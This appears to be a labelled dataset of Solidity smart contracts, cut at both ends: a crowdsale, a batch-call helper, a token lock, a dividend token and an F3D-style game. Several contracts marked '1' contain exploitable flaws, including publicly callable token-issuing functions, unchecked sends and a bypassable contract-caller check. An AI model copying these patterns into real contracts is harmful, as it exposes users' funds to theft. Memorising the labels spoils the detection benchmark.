uint256 constant public TOKEN_MIN_PRICE_THRESHOLD = 100000000;
uint256 constant public FIRST_PHASE_MAX_SPAN = 21 days;
uint256 constant public SECOND_PHASE_MAX_SPAN = 33 days;
uint256 constant public DUST_LIMIT = 5 finney;
uint256 constant public BONUS_DURATION = 15;
uint256 constant public SUCCESS_BONUS = 15;
uint256 constant public SECOND_PHASE_PRICE_FACTOR = 20;
uint256 constant public FACTOR = 1 finney;
uint256 constant public DIVISOR = 100000;
event Buyin(address indexed receiver, uint256 accounted, uint256 received, uint256 price);
event PhaseOneEnded(uint256 price);
event PhaseTwoStared(uint256 fixedPrice);
event Invested(address indexed receiver, uint256 received, uint256 tokens);
event Ended(bool goalReached);
event Finalised(address indexed receiver, uint256 tokens);
event Retired();
modifier when_ended { require (now >= endTime); _; }
modifier when_not_halted { require (!paused); _; }
modifier only_investors(address _receiver) { require (buyins[_receiver].accounted != 0 || purchases[_receiver] != 0); _; }
modifier only_owner { require (msg.sender == owner); _; }
modifier when_active { require (!campaignEnded); _;}
modifier only_in_phase_1 { require (now >= startTime && now < firstPhaseEndTime); _; }
modifier after_phase_1 { require (now >= firstPhaseEndTime); _; }
modifier only_in_phase_2 { require (now >= secondPhaseStartTime && now < endTime); _; }
modifier reject_dust { require ( msg.value >= DUST_LIMIT ); _; }
function SmartCityCrowdsale(
address _tokenAddress,
address _owner,
address _walletAddress,
uint256 _startTime,
uint256 _tokenCapPhaseOne,
uint256 _tokenCapPhaseTwo
)
public
{
tokenContract = SmartCityToken(_tokenAddress);
wallet = _walletAddress;
owner = _owner;
startTime = _startTime;
firstPhaseEndTime = startTime.add(FIRST_PHASE_MAX_SPAN);
secondPhaseStartTime = 253402300799;
endTime = secondPhaseStartTime.add(SECOND_PHASE_MAX_SPAN);
tokenCapPhaseOne = _tokenCapPhaseOne;
tokenCapPhaseTwo = _tokenCapPhaseTwo;
}
function()
public
payable
when_not_halted
when_active
{
if (now >= startTime && now < firstPhaseEndTime) {
_buyin(msg.sender, msg.value);
}
else {
_invest(msg.sender, msg.value);
}
}
function buyin()
public
payable
when_not_halted
when_active
only_in_phase_1
reject_dust
{
_buyin(msg.sender, msg.value);
}
function buyinAs(address _receiver)
public
payable
when_not_halted
when_active
only_in_phase_1
reject_dust
{
require (_receiver != address(0));
_buyin(_receiver, msg.value);
}
function _buyin(address _receiver, uint256 _value)
internal
{
if (currentBonus > 0) {
uint256 daysSinceStart = (now.sub(startTime)).div(86400);
if (daysSinceStart < BONUS_DURATION &&
BONUS_DURATION.sub(daysSinceStart) != currentBonus) {
currentBonus = BONUS_DURATION.sub(daysSinceStart);
}
if (daysSinceStart >= BONUS_DURATION) {
currentBonus = 0;
}
}
uint256 accounted;
bool refund;
uint256 price;
(accounted, refund, price) = theDeal(_value);
require (!refund);
buyins[_receiver].accounted = buyins[_receiver].accounted.add(accounted);
buyins[_receiver].received = buyins[_receiver].received.add(_value);
totalAccounted = totalAccounted.add(accounted);
totalReceived = totalReceived.add(_value);
firstPhaseEndTime = calculateEndTime();
Buyin(_receiver, accounted, _value, price);
wallet.transfer(_value);
}
function calculateEndTime()
public
constant
when_active
only_in_phase_1
returns (uint256)
{
uint256 res = (FACTOR.mul(240000).div(DIVISOR.mul(totalAccounted.div(tokenCapPhaseOne)).add(FACTOR.mul(4).div(100)))).add(startTime).sub(4848);
if (res >= firstPhaseEndTime) {
return firstPhaseEndTime;
}
else {
return res;
}
}
function currentPrice()
public
constant
when_active
only_in_phase_1
returns (uint256 weiPerIndivisibleTokenPart)
{
return ((FACTOR.mul(240000).div(now.sub(startTime).add(4848))).sub(FACTOR.mul(4).div(100))).div(DIVISOR);
}
function tokensAvailable()
public
constant
when_active
only_in_phase_1
returns (uint256 tokens)
{
uint256 _currentCap = totalAccounted.div(currentPrice());
if (_currentCap >= tokenCapPhaseOne) {
return 0;
}
return tokenCapPhaseOne.sub(_currentCap);
}
function maxPurchase()
public
constant
when_active
only_in_phase_1
returns (uint256 spend)
{
return tokenCapPhaseOne.mul(currentPrice()).sub(totalAccounted);
}
function theDeal(uint256 _value)
public
constant
when_active
only_in_phase_1
returns (uint256 accounted, bool refund, uint256 price)
{
uint256 _bonus = auctionBonus(_value);
price = currentPrice();
accounted = _value.add(_bonus);
uint256 available = tokensAvailable();
uint256 tokens = accounted.div(price);
refund = (tokens > available);
}
function auctionBonus(uint256 _value)
public
constant
when_active
only_in_phase_1
returns (uint256 extra)
{
return _value.mul(currentBonus).div(100);
}
function finaliseFirstPhase()
public
when_not_halted
when_active
after_phase_1
returns(uint256)
{
if (auctionEndPrice == 0) {
auctionEndPrice = totalAccounted.div(tokenCapPhaseOne);
PhaseOneEnded(auctionEndPrice);
if (totalAccounted >= FUNDING_GOAL ) {
auctionSuccessBonus = SUCCESS_BONUS;
endTime = firstPhaseEndTime;
campaignEnded = true;
tokenContract.setTokenStart(endTime);
Ended(true);
}
else if (auctionEndPrice >= TOKEN_MIN_PRICE_THRESHOLD) {
fixedPrice = auctionEndPrice.add(auctionEndPrice.mul(SECOND_PHASE_PRICE_FACTOR).div(100));
secondPhaseStartTime = now;
endTime = secondPhaseStartTime.add(SECOND_PHASE_MAX_SPAN);
PhaseTwoStared(fixedPrice);
}
else if (auctionEndPrice < TOKEN_MIN_PRICE_THRESHOLD && auctionEndPrice > 0){
endTime = firstPhaseEndTime;
campaignEnded = true;
tokenContract.setTokenStart(endTime);
Ended(false);
}
else {
auctionEndPrice = 1 wei;
endTime = firstPhaseEndTime;
campaignEnded = true;
tokenContract.setTokenStart(endTime);
Ended(false);
Retired();
}
}
return auctionEndPrice;
}
function invest()
public
payable
when_not_halted
when_active
only_in_phase_2
reject_dust
{
_invest(msg.sender, msg.value);
}
function investAs(address _receiver)
public
payable
when_not_halted
when_active
only_in_phase_2
reject_dust
{
require (_receiver != address(0));
_invest(_receiver, msg.value);
}
function _invest(address _receiver, uint256 _value)
internal
{
uint256 tokensCnt = getTokens(_receiver, _value);
require(tokensCnt > 0);
require(tokensPurchased.add(tokensCnt) <= tokenCapPhaseTwo);
require(_value <= maxTokenPurchase(_receiver));
purchases[_receiver] = purchases[_receiver].add(_value);
totalReceived = totalReceived.add(_value);
totalAccounted = totalAccounted.add(_value);
tokensPurchased = tokensPurchased.add(tokensCnt);
Invested(_receiver, _value, tokensCnt);
wallet.transfer(_value);
if (totalAccounted >= FUNDING_GOAL) {
endTime = now;
campaignEnded = true;
tokenContract.setTokenStart(endTime);
Ended(true);
}
}
function getTokens(address _receiver, uint256 _value)
public
constant
when_active
only_in_phase_2
returns(uint256 tokensCnt)
{
if (buyins[_receiver].received > 0) {
tokensCnt = _value.div(auctionEndPrice);
}
else {
tokensCnt = _value.div(fixedPrice);
}
}
function maxTokenPurchase(address _receiver)
public
constant
when_active
only_in_phase_2
returns(uint256 spend)
{
uint256 availableTokens = tokenCapPhaseTwo.sub(tokensPurchased);
uint256 fundingGoalOffset = FUNDING_GOAL.sub(totalReceived);
uint256 maxInvestment;
if (buyins[_receiver].received > 0) {
maxInvestment = availableTokens.mul(auctionEndPrice);
}
else {
maxInvestment = availableTokens.mul(fixedPrice);
}
if (maxInvestment > fundingGoalOffset) {
return fundingGoalOffset;
}
else {
return maxInvestment;
}
}
function finalise()
public
when_not_halted
when_ended
only_investors(msg.sender)
{
finaliseAs(msg.sender);
}
function finaliseAs(address _receiver)
public
when_not_halted
when_ended
only_investors(_receiver)
{
bool auctionParticipant;
uint256 total;
uint256 tokens;
uint256 bonus;
uint256 totalFixed;
uint256 tokensFixed;
if (!campaignEnded) {
campaignEnded = true;
tokenContract.setTokenStart(endTime);
Ended(false);
}
if (buyins[_receiver].accounted != 0) {
auctionParticipant = true;
total = buyins[_receiver].accounted;
tokens = total.div(auctionEndPrice);
if (auctionSuccessBonus > 0) {
bonus = tokens.mul(auctionSuccessBonus).div(100);
}
totalFinalised = totalFinalised.add(total);
delete buyins[_receiver];
}
if (purchases[_receiver] != 0) {
totalFixed = purchases[_receiver];
if (auctionParticipant) {
tokensFixed = totalFixed.div(auctionEndPrice);
}
else {
tokensFixed = totalFixed.div(fixedPrice);
}
totalFinalised = totalFinalised.add(totalFixed);
delete purchases[_receiver];
}
tokens = tokens.add(bonus).add(tokensFixed);
require (tokenContract.transferFrom(owner, _receiver, tokens));
Finalised(_receiver, tokens);
if (totalFinalised == totalAccounted) {
tokenContract.burn();
Retired();
}
}
function setPaused(bool _paused) public only_owner { paused = _paused; }
function drain() public only_owner { wallet.transfer(this.balance); }
function isActive() public constant returns (bool) { return now >= startTime && now < endTime; }
function allFinalised() public constant returns (bool) { return now >= endTime && totalAccounted == totalFinalised; }
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,935 |
pragma solidity 0.5.16;
pragma experimental ABIEncoderV2;
contract Batcher {
function batchSend(
address[] memory targets,
uint256[] memory values,
bytes[] memory datas
)
public payable
{
for (uint i = 0; i < targets.length; i++) {
(bool success,) = targets[i].call.value(values[i])(datas[i]);
if (!success) revert('transaction failed');
}
}
function batchSendUltimate(
address[] memory targets,
uint256[] memory values,
bytes[] memory datas
)
public payable
{
for (uint i = 0; i < targets.length; i++) {
targets[i].call.value(values[i])(datas[i]);
}
}
} | 1 | 3,204 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) pure internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.8;
contract Token {
uint256 public totalSupply;
address public sale;
bool public transfersAllowed;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Disbursement {
address public owner;
address public receiver;
uint public disbursementPeriod;
uint public startDate;
uint public withdrawnTokens;
Token public token;
modifier isOwner() {
if (msg.sender != owner)
revert();
_;
}
modifier isReceiver() {
if (msg.sender != receiver)
revert();
_;
}
modifier isSetUp() {
if (address(token) == 0)
revert();
_;
}
function Disbursement(address _receiver, uint _disbursementPeriod, uint _startDate)
public
{
if (_receiver == 0 || _disbursementPeriod == 0)
revert();
owner = msg.sender;
receiver = _receiver;
disbursementPeriod = _disbursementPeriod;
startDate = _startDate;
if (startDate == 0)
startDate = now;
}
function setup(Token _token)
public
isOwner
{
if (address(token) != 0 || address(_token) == 0)
revert();
token = _token;
}
function withdraw(address _to, uint256 _value)
public
isReceiver
isSetUp
{
uint maxTokens = calcMaxWithdraw();
if (_value > maxTokens)
revert();
withdrawnTokens = SafeMath.add(withdrawnTokens, _value);
token.transfer(_to, _value);
}
function calcMaxWithdraw()
public
constant
returns (uint)
{
uint maxTokens = SafeMath.mul(SafeMath.add(token.balanceOf(this), withdrawnTokens), SafeMath.sub(now,startDate)) / disbursementPeriod;
if (withdrawnTokens >= maxTokens || startDate > now)
return 0;
if (SafeMath.sub(maxTokens, withdrawnTokens) > token.totalSupply())
return token.totalSupply();
return SafeMath.sub(maxTokens, withdrawnTokens);
}
}
contract Owned {
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
mapping (address => bool) public isOwner;
address[] public owners;
address public operator;
modifier onlyOwner {
require(isOwner[msg.sender]);
_;
}
modifier onlyOperator {
require(msg.sender == operator);
_;
}
function setOperator(address _operator) external onlyOwner {
require(_operator != address(0));
operator = _operator;
}
function removeOwner(address _owner) public onlyOwner {
require(owners.length > 1);
isOwner[_owner] = false;
for (uint i = 0; i < owners.length - 1; i++) {
if (owners[i] == _owner) {
owners[i] = owners[SafeMath.sub(owners.length, 1)];
break;
}
}
owners.length = SafeMath.sub(owners.length, 1);
OwnerRemoval(_owner);
}
function addOwner(address _owner) external onlyOwner {
require(_owner != address(0));
if(isOwner[_owner]) return;
isOwner[_owner] = true;
owners.push(_owner);
OwnerAddition(_owner);
}
function setOwners(address[] _owners) internal {
for (uint i = 0; i < _owners.length; i++) {
require(_owners[i] != address(0));
isOwner[_owners[i]] = true;
OwnerAddition(_owners[i]);
}
owners = _owners;
}
function getOwners() public constant returns (address[]) {
return owners;
}
}
contract TokenLock is Owned {
using SafeMath for uint;
uint public shortLock;
uint public longLock;
uint public shortShare;
address public levAddress;
address public disbursement;
uint public longTermTokens;
modifier validAddress(address _address){
require(_address != 0);
_;
}
function TokenLock(address[] _owners, uint _shortLock, uint _longLock, uint _shortShare) public {
require(_longLock > _shortLock);
require(_shortLock > 0);
require(_shortShare <= 100);
setOwners(_owners);
shortLock = block.timestamp.add(_shortLock);
longLock = block.timestamp.add(_longLock);
shortShare = _shortShare;
}
function setup(address _disbursement, address _levToken) public onlyOwner {
require(_disbursement != address(0));
require(_levToken != address(0));
disbursement = _disbursement;
levAddress = _levToken;
}
function transferShortTermTokens(address _wallet) public validAddress(_wallet) onlyOwner {
require(now > shortLock);
uint256 tokenBalance = Token(levAddress).balanceOf(disbursement);
if (longTermTokens == 0) {
longTermTokens = tokenBalance.mul(100 - shortShare).div(100);
}
require(tokenBalance > longTermTokens);
uint256 amountToSend = tokenBalance.sub(longTermTokens);
Disbursement(disbursement).withdraw(_wallet, amountToSend);
}
function transferLongTermTokens(address _wallet) public validAddress(_wallet) onlyOwner {
require(now > longLock);
uint256 tokenBalance = Token(levAddress).balanceOf(disbursement);
Disbursement(disbursement).withdraw(_wallet, tokenBalance);
}
} | 0 | 1,347 |
pragma solidity ^ 0.4 .8;
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns(uint256);
function allowance(address owner, address spender) constant returns(uint);
function transferFrom(address from, address to, uint value) returns(bool ok);
function approve(address spender, uint value) returns(bool ok);
function transfer(address to, uint value) returns(bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract blockoptions is ERC20
{
string public name = "blockoptions";
string public symbol = "BOPT";
uint8 public decimals = 8;
uint public totalSupply=20000000 * 100000000;
uint pre_ico_start;
uint pre_ico_end;
uint ico_start;
uint ico_end;
mapping(uint => address) investor;
mapping(uint => uint) weireceived;
mapping(uint => uint) optsSent;
event preico(uint counter,address investors,uint weiReceived,uint boptsent);
event ico(uint counter,address investors,uint weiReceived,uint boptsent);
uint counter=0;
uint profit_sent=0;
bool stopped = false;
function blockoptions() payable{
owner = msg.sender;
balances[owner] = totalSupply ;
pre_ico_start = now;
pre_ico_end = pre_ico_start + 7 days;
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
address public owner;
modifier onlyOwner() {
if (msg.sender == owner)
_;
}
function transferOwnership(address newOwner) onlyOwner {
balances[newOwner] = balances[owner];
balances[owner]=0;
owner = newOwner;
}
function Mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function Div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function Sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function Add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
function transfer(address _to, uint _value) returns (bool){
uint check = balances[owner] - _value;
if(msg.sender == owner && now>=pre_ico_start && now<=pre_ico_end && check < 1900000000000000)
{
return false;
}
else if(msg.sender ==owner && now>=pre_ico_end && now<=(pre_ico_end + 16 days) && check < 1850000000000000)
{
return false;
}
else if(msg.sender == owner && check < 150000000000000 && now < ico_start + 180 days)
{
return false;
}
else if (msg.sender == owner && check < 100000000000000 && now < ico_start + 360 days)
{
return false;
}
else if (msg.sender == owner && check < 50000000000000 && now < ico_start + 540 days)
{
return false;
}
else if (_value > 0) {
balances[msg.sender] = Sub(balances[msg.sender],_value);
balances[_to] = Add(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
else{
return false;
}
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (_value > 0) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = Add(balances[_to], _value);
balances[_from] = Sub(balances[_from], _value);
allowed[_from][msg.sender] = Sub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}else{
return false;
}
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function drain() onlyOwner {
owner.send(this.balance);
}
function() payable
{
if(stopped && msg.sender != owner)
revert();
else if(msg.sender == owner)
{
profit_sent = msg.value;
}
else if(now>=pre_ico_start && now<=pre_ico_end)
{
uint check = balances[owner]-((400*msg.value)/10000000000);
if(check >= 1900000000000000)
pre_ico(msg.sender,msg.value);
}
else if (now>=ico_start && now<ico_end)
{
main_ico(msg.sender,msg.value);
}
}
function pre_ico(address sender, uint value)payable
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (400*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
preico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
function main_ico(address sender, uint value)payable
{
if(now >= ico_start && now <= (ico_start + 7 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (250*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
else if (now >= (ico_start + 7 days) && now <= (ico_start + 14 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (220*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
else if (now >= (ico_start + 14 days) && now <= (ico_start + 31 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (200*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
}
function startICO()onlyOwner
{
ico_start = now;
ico_end=ico_start + 31 days;
pre_ico_start = 0;
pre_ico_end = 0;
}
function endICO()onlyOwner
{
stopped=true;
if(balances[owner] > 150000000000000)
{
uint burnedTokens = balances[owner]-150000000000000;
totalSupply = totalSupply-burnedTokens;
balances[owner] = 150000000000000;
}
}
struct distributionStruct
{
uint divident;
bool dividentStatus;
}
mapping(address => distributionStruct) dividentsMap;
mapping(uint => address)requestor;
event dividentSent(uint requestNumber,address to,uint divi);
uint requestCount=0;
function distribute()onlyOwner
{
for(uint i=1; i <= counter;i++)
{
dividentsMap[investor[i]].divident = (balanceOf(investor[i])*profit_sent)/(totalSupply*100000000);
dividentsMap[investor[i]].dividentStatus = true;
}
}
function requestDivident()payable
{
requestCount = requestCount + 1;
requestor[requestCount] = msg.sender;
if(dividentsMap[requestor[requestCount]].dividentStatus == true)
{
dividentSent(requestCount,requestor[requestCount],dividentsMap[requestor[requestCount]].divident);
requestor[requestCount].send(dividentsMap[requestor[requestCount]].divident);
dividentsMap[requestor[requestCount]].dividentStatus = false;
}
}
} | 1 | 3,055 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DGo is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x82e0C3626622d9a8234BFBaf6DD0f8d070C2609D);
address private admin = 0xacb257873b064b956BD9be84dc347C55F7b2ae8C;
address private coin_base = 0x345A756a49DF0eD24002857dd25DAb6a5F4E83FF;
string constant public name = "F3DGo";
string constant public symbol = "F3DGo";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 8 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 60 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
